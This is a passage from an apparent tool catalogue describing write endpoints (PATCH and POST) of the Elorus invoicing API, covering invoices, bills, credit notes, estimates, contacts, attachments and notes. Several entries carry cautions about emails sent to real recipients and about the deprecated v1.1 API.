/v1.2/cashpayments/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/cashpayments/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_cashreceipts_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on a cash receipt -- money taken IN, against an invoice or a client -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/cashreceipts/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/cashreceipts/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_contacts_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on a contact -- a client or supplier, with its billing and shipping addresses -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/contacts/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/contacts/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_creditnotes_by_id (write) — Update one credit note in place -- credit issued TO a client, which can then be applied against invoices -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/creditnotes/{id}/ PATCH /api/v1/elorus/v1.2/creditnotes/{id}. Scopes: api. elorus_patch_v1_2_creditnotes_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on a credit note -- credit issued TO a client, which can then be applied against invoices -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/creditnotes/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/creditnotes/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_deliverynotes_by_id (write) — Update one delivery note in place -- a despatch document for goods sent to a client -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/deliverynotes/{id}/ PATCH /api/v1/elorus/v1.2/deliverynotes/{id}. Scopes: api. elorus_patch_v1_2_deliverynotes_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on a delivery note -- a despatch document for goods sent to a client -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/deliverynotes/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_estimates_by_id (write) — Update one estimate in place -- a quotation sent to a client before any invoice exists -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/estimates/{id}/ PATCH /api/v1/elorus/v1.2/estimates/{id}. Scopes: api. elorus_patch_v1_2_estimates_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on an estimate -- a quotation sent to a client before any invoice exists -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/estimates/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/estimates/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_expenses_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on an expense -- a cost recorded against the organization, optionally billable to a project -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/expenses/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/expenses/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_goodsreceipts_by_id (write) — Update one goods receipt in place -- a record of stock received into a warehouse -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/goodsreceipts/{id}/ PATCH /api/v1/elorus/v1.2/goodsreceipts/{id}. Scopes: api. elorus_patch_v1_2_invoices_by_id (write) — Update one invoice in place -- a sales invoice issued to a client -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/invoices/{id}/ PATCH /api/v1/elorus/v1.2/invoices/{id}. Scopes: api. elorus_patch_v1_2_invoices_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on an invoice -- a sales invoice issued to a client -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/invoices/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/invoices/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_organizationbranch_by_id (write) — Update one organization branch in place -- a branch or establishment of the organization -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/organizationbranch/{id}/ PATCH /api/v1/elorus/v1.2/organizationbranch/{id}. Scopes: api. elorus_patch_v1_2_projects_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on a project -- a billable engagement that time entries and expenses hang off -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/projects/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/projects/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_projects_by_parent_pk_projectextrafees_by_id (write) — Update one extra fee on a project -- a billable engagement that time entries and expenses hang off -- sending only the fields to change. The safe partner of the PUT tool on the same path via PATCH /v1.2/projects/{parent_pk}/projectextrafees/{id}/ PATCH /api/v1/elorus/v1.2/projects/{parent_pk}/projectextrafees/{id}. Scopes: api. elorus_patch_v1_2_suppliercredits_by_id (write) — Update one supplier credit in place -- credit received FROM a supplier, which can then be applied against bills -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/suppliercredits/{id}/ PATCH /api/v1/elorus/v1.2/suppliercredits/{id}. Scopes: api. elorus_patch_v1_2_suppliercredits_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on a supplier credit -- credit received FROM a supplier, which can then be applied against bills -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/suppliercredits/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_unitofmeasurement_by_id (write) — Update one unit of measurement in place -- the unit a product quantity is expressed in -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/unitofmeasurement/{id}/ PATCH /api/v1/elorus/v1.2/unitofmeasurement/{id}. Scopes: api. elorus_patch_v1_2_warehouse_by_id (write) — Update one warehouse in place -- a stock location goods receipts and adjustments move stock through -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/warehouse/{id}/ PATCH /api/v1/elorus/v1.2/warehouse/{id}. Scopes: api. elorus_post_v1_1_bills (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create a bill -- a purchase invoice a supplier issued to this organization -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/bills/ POST /api/v1/elorus/v1.1/bills. Scopes: api. elorus_post_v1_1_bills_by_id_email (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one bill -- a purchase invoice a supplier issued to this organization -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.1/bills/{id}/email/ POST /api/v1/elorus/v1.1/bills/{id}/email. Scopes: api. elorus_post_v1_1_cashpayments (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create a cash payment -- money paid OUT, against a bill or a supplier -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/cashpayments/ POST /api/v1/elorus/v1.1/cashpayments. Scopes: api. elorus_post_v1_1_cashreceipts (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create a cash receipt -- money taken IN, against an invoice or a client -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/cashreceipts/ POST /api/v1/elorus/v1.1/cashreceipts. Scopes: api. elorus_post_v1_1_contacts (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create a contact -- a client or supplier, with its billing and shipping addresses -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/contacts/ POST /api/v1/elorus/v1.1/contacts. Scopes: api. elorus_post_v1_1_creditnotes (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create a credit note -- credit issued TO a client, which can then be applied against invoices -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/creditnotes/ POST /api/v1/elorus/v1.1/creditnotes. Scopes: api. elorus_post_v1_1_creditnotes_by_id_email (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one credit note -- credit issued TO a client, which can then be applied against invoices -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.1/creditnotes/{id}/email/ POST /api/v1/elorus/v1.1/creditnotes/{id}/email. Scopes: api. elorus_post_v1_1_creditnotes_by_parent_pk_applied_credit (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Apply credit against one credit note -- credit issued TO a client, which can then be applied against invoices -- which CHANGES WHAT IS OWED on both the document and the credit it draws from. Elorus refuses an amount larger than the remaining credit with a 400 via POST /v1.1/creditnotes/{parent_pk}/applied-credit/ POST /api/v1/elorus/v1.1/creditnotes/{parent_pk}/applied-credit. Scopes: api. elorus_post_v1_1_emailtemplates (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create an email template -- the subject and body Elorus uses when it emails a document -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/emailtemplates/ POST /api/v1/elorus/v1.1/emailtemplates. Scopes: api. elorus_post_v1_1_estimates (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create an estimate -- a quotation sent to a client before any invoice exists -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/estimates/ POST /api/v1/elorus/v1.1/estimates. Scopes: api. elorus_post_v1_1_estimates_by_id_email (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one estimate -- a quotation sent to a client before any invoice exists -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.1/estimates/{id}/email/ POST /api/v1/elorus/v1.1/estimates/{id}/email. Scopes: api. elorus_post_v1_1_expenses (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create an expense -- a cost recorded against the organization, optionally billable to a project -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/expenses/ POST /api/v1/elorus/v1.1/expenses. Scopes: api. elorus_post_v1_1_invoices (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create an invoice -- a sales invoice issued to a client -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/invoices/ POST /api/v1/elorus/v1.1/invoices. Scopes: api. elorus_post_v1_1_invoices_by_id_email (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one invoice -- a sales invoice issued to a client -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.1/invoices/{id}/email/ POST /api/v1/elorus/v1.1/invoices/{id}/email. Scopes: api. elorus_post_v1_1_invoices_by_parent_pk_applied_credit (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Apply credit against one invoice -- a sales invoice issued to a client -- which CHANGES WHAT IS OWED on both the document and the credit it draws from. Elorus refuses an amount larger than the remaining credit with a 400 via POST /v1.1/invoices/{parent_pk}/applied-credit/ POST /api/v1/elorus/v1.1/invoices/{parent_pk}/applied-credit. Scopes: api. elorus_post_v1_1_numberingsequence (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create a numbering sequence -- the counter Elorus draws document numbers from -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/numberingsequence/ POST /api/v1/elorus/v1.1/numberingsequence. Scopes: api. elorus_post_v1_1_products (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create a product -- a product or service line item, with its price and stock -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/products/ POST /api/v1/elorus/v1.1/products. Scopes: api. elorus_post_v1_1_recurringinvoices (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create a recurring invoice -- the schedule Elorus issues repeating invoices from -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/recurringinvoices/ POST /api/v1/elorus/v1.1/recurringinvoices. Scopes: api. elorus_post_v1_1_suppliercredits (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Create a supplier credit -- credit received FROM a supplier, which can then be applied against bills -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.1/suppliercredits/ POST /api/v1/elorus/v1.1/suppliercredits. Scopes: api. elorus_post_v1_1_suppliercredits_by_id_email (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.1/suppliercredits/{id}/email/ POST /api/v1/elorus/v1.1/suppliercredits/{id}/email. Scopes: api. elorus_post_v1_1_suppliercredits_by_parent_pk_applied_credit (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Apply credit against one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- which CHANGES WHAT IS OWED on both the document and the credit it draws from. Elorus refuses an amount larger than the remaining credit with a 400 via POST /v1.1/suppliercredits/{parent_pk}/applied-credit/ POST /api/v1/elorus/v1.1/suppliercredits/{parent_pk}/applied-credit. Scopes: api. elorus_post_v1_2_bills (write) — Create a bill -- a purchase invoice a supplier issued to this organization -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/bills/ POST /api/v1/elorus/v1.2/bills. Scopes: api. elorus_post_v1_2_bills_by_id_email (write) — SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one bill -- a purchase invoice a supplier issued to this organization -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.2/bills/{id}/email/ POST /api/v1/elorus/v1.2/bills/{id}/email. Scopes: api. elorus_post_v1_2_bills_by_parent_pk_notes (write) — Attach an internal note to one bill -- a purchase invoice a supplier issued to this organization. Private to the organization, so it never reaches the contact via POST /v1.2/bills/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/bills/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_cashpayments (write) — Create a cash payment -- money paid OUT, against a bill or a supplier -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/cashpayments/ POST /api/v1/elorus/v1.2/cashpayments. Scopes: api. elorus_post_v1_2_cashpayments_by_parent_pk_notes (write) — Attach an internal note to one cash payment -- money paid OUT, against a bill or a supplier. Private to the organization, so it never reaches the contact via POST /v1.2/cashpayments/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/cashpayments/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_cashreceipts (write) — Create a cash receipt -- money taken IN, against an invoice or a client -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/cashreceipts/ POST /api/v1/elorus/v1.2/cashreceipts. Scopes: api. elorus_post_v1_2_cashreceipts_by_parent_pk_notes (write) — Attach an internal note to one cash receipt -- money taken IN, against an invoice or a client. Private to the organization, so it never reaches the contact via POST /v1.2/cashreceipts/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/cashreceipts/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_contacts (write) — Create a contact -- a client or supplier, with its billing and shipping addresses -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/contacts/ POST /api/v1/elorus/v1.2/contacts. Scopes: api. elorus_post_v1_2_contacts_by_parent_pk_notes (write) — Attach an internal note to one contact -- a client or supplier, with its billing and shipping addresses. Private to the organization, so it never reaches the contact via POST /v1.2/contacts/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/contacts/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_creditnotes (write) — Create a credit note -- credit issued TO a client, which can then be applied against invoices -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/creditnotes/ POST /api/v1/elorus/v1.2/creditnotes. Scopes: api. elorus_post_v1_2_creditnotes_by_id_email (write) — SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one credit note -- credit issued TO a client, which can then be applied against invoices -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.2/creditnotes/{id}/email/ POST /api/v1/elorus/v1.2/creditnotes/{id}/email. Scopes: api. elorus_post_v1_2_creditnotes_by_parent_pk_applied_credit (write) — Apply credit against one credit note -- credit issued TO a client, which can then be applied against invoices -- which CHANGES WHAT IS OWED on both the document and the credit it draws from. Elorus refuses an amount larger than the remaining credit with a 400 via POST /v1.2/creditnotes/{parent_pk}/applied-credit/ POST /api/v1/elorus/v1.2/creditnotes/{parent_pk}/applied-credit. Scopes: api. elorus_post_v1_2_creditnotes_by_parent_pk_discussions (write) — Add a message to the client-facing discussion thread on one credit note -- credit issued TO a client, which can then be applied against invoices. VISIBLE TO THE CONTACT on the document's public page, which is the whole difference between this and adding a note via POST /v1.2/creditnotes/{parent_pk}/discussions/ POST /api/v1/elorus/v1.2/creditnotes/{parent_pk}/discussions. Scopes: api. elorus_post_v1_2_creditnotes_by_parent_pk_notes (write) — Attach an internal note to one credit note -- credit issued TO a client, which can then be applied against invoices. Private to the organization, so it never reaches the contact via POST /v1.2/creditnotes/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/creditnotes/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_deliverynotes (write) — Create a delivery note -- a despatch document for goods sent to a client -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/deliverynotes/ POST /api/v1/elorus/v1.2/deliverynotes. Scopes: api. elorus_post_v1_2_deliverynotes_by_id_email (write) — SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one delivery note -- a despatch document for goods sent to a client -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.2/deliverynotes/{id}/email/ POST /api/v1/elorus/v1.2/deliverynotes/{id}/email. Scopes: api. elorus_post_v1_2_deliverynotes_by_parent_pk_notes (write) — Attach an internal note to one delivery note -- a despatch document for goods sent to a client. Private to the organization, so it never reaches the contact via POST /v1.2/deliverynotes/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_documenttypes_by_parent_pk_sequences (write) — Add a numbering sequence to one document type -- one of the organization's document kinds, which owns its own numbering sequences. New documents of that type can then draw their numbers from it via POST /v1.2/documenttypes/{parent_pk}/sequences/ POST /api/v1/elorus/v1.2/documenttypes/{parent_pk}/sequences. Scopes: api. elorus_post_v1_2_emailtemplates (write) — Create an email template -- the subject and body Elorus uses when it emails a document -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/emailtemplates/ POST /api/v1/elorus/v1.2/emailtemplates. Scopes: api. elorus_post_v1_2_estimates (write) — Create an estimate -- a quotation sent to a client before any invoice exists -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/estimates/ POST /api/v1/elorus/v1.2/estimates. Scopes: api. elorus_post_v1_2_estimates_by_id_email (write) — SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one estimate -- a quotation sent to a client before any invoice exists -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.2/estimates/{id}/email/ POST /api/v1/elorus/v1.2/estimates/{id}/email. Scopes: api. elorus_post_v1_2_estimates_by_parent_pk_discussions (write) — Add a message to the client-facing discussion thread on one estimate -- a quotation sent to a client before any invoice exists. VISIBLE TO THE CONTACT on the document's public page, which is the whole difference between this and adding a note via POST /v1.2/estimates/{parent_pk}/discussions/ POST /api/v1/elorus/v1.2/estimates/{parent_pk}/discussions. Scopes: api. elorus_post_v1_2_estimates_by_parent_pk_notes (write) — Attach an internal note to one estimate -- a quotation sent to a client before any invoice exists. Private to the organization, so it never reaches the contact via POST /v1.2/estimates/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/estimates/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_expenses (write) — Create an expense -- a cost recorded against the organization, optionally billable to a project -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/expenses/ POST /api/v1/elorus/v1.2/expenses. Scopes: api. elorus_post_v1_2_expenses_by_parent_pk_notes (write) — Attach an internal note to one expense -- a cost recorded against the organization, optionally billable to a project. Private to the organization, so it never reaches the contact via POST /v1.2/expenses/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/expenses/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_goodsreceipts (write) — Create a goods receipt -- a record of stock received into a warehouse -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/goodsreceipts/ POST /api/v1/elorus/v1.2/goodsreceipts. Scopes: api. elorus_post_v1_2_goodsreceipts_by_id_email (write) — SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one goods receipt -- a record of stock received into a warehouse -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.2/goodsreceipts/{id}/email/ POST /api/v1/elorus/v1.2/goodsreceipts/{id}/email. Scopes: api. elorus_post_v1_2_goodsreceipts_by_parent_pk_notes (write) — Attach an internal note to one goods receipt -- a record of stock received into a warehouse. Private to the organization, so it never reaches the contact via POST /v1.2/goodsreceipts/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/goodsreceipts/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_goodsreceiptsequences (write) — Create a goods-receipt numbering sequence -- the counter Elorus draws goods-receipt numbers from -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/goodsreceiptsequences/ POST /api/v1/elorus/v1.2/goodsreceiptsequences. Scopes: api. elorus_post_v1_2_invoices (write) — Create an invoice -- a sales invoice issued to a client -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/invoices/ POST /api/v1/elorus/v1.2/invoices. Scopes: api. elorus_post_v1_2_invoices_by_id_email (write) — SENDS AN EMAIL TO A REAL RECIPIENT, which cannot be recalled: email one invoice -- a sales invoice issued to a client -- to its contact. Preview it first with the GET tool on the same path to see exactly who would receive it. A demo organization cannot send email to customers, so this tool cannot be exercised end-to-end under the demo guard via POST /v1.2/invoices/{id}/email/ POST /api/v1/elorus/v1.2/invoices/{id}/email. Scopes: api. elorus_post_v1_2_invoices_by_parent_pk_applied_credit (write) — Apply credit against one invoice -- a sales invoice issued to a client -- which CHANGES WHAT IS OWED on both the document and the credit it draws from. Elorus refuses an amount larger than the remaining credit with a 400 via POST /v1.2/invoices/{parent_pk}/applied-credit/ POST /api/v1/elorus/v1.2/invoices/{parent_pk}/applied-credit. Scopes: api. elorus_post_v1_2_invoices_by_parent_pk_discussions (write) — Add a message to the client-facing discussion thread on one invoice -- a sales invoice issued to a client. VISIBLE TO THE CONTACT on the document's public page, which is the whole difference between this and adding a note via POST /v1.2/invoices/{parent_pk}/discussions/ POST /api/v1/elorus/v1.2/invoices/{parent_pk}/discussions. Scopes: api. elorus_post_v1_2_invoices_by_parent_pk_notes (write) — Attach an internal note to one invoice -- a sales invoice issued to a client. Private to the organization, so it never reaches the contact via POST /v1.2/invoices/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/invoices/{parent_pk}/notes. Scopes: api. elorus_post_v1_2_organizationbranch (write) — Create an organization branch -- a branch or establishment of the organization -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/organizationbranch/ POST /api/v1/elorus/v1.2/organizationbranch. Scopes: api. elorus_post_v1_2_products (write) — Create a product -- a product or service line item, with its price and stock -- from a JSON body. Elorus validates the whole document and answers 400 with a per-field error map when it refuses, so read the body of a 400 rather than retrying via POST /v1.2/products/ POST /api/v1/elorus/v1.2/products. Scopes: api. elorus_post_v1_2_products_by_parent_pk_notes (write) — Attach an internal note to one product -- a product or service line item, with its price and stock. Private to the organization, so it never reaches the contact via POST /v1.2/products/{parent_pk}/notes/ POST /api/v1/elorus/v1.2/products/{parent_pk}/notes. Scopes: api. 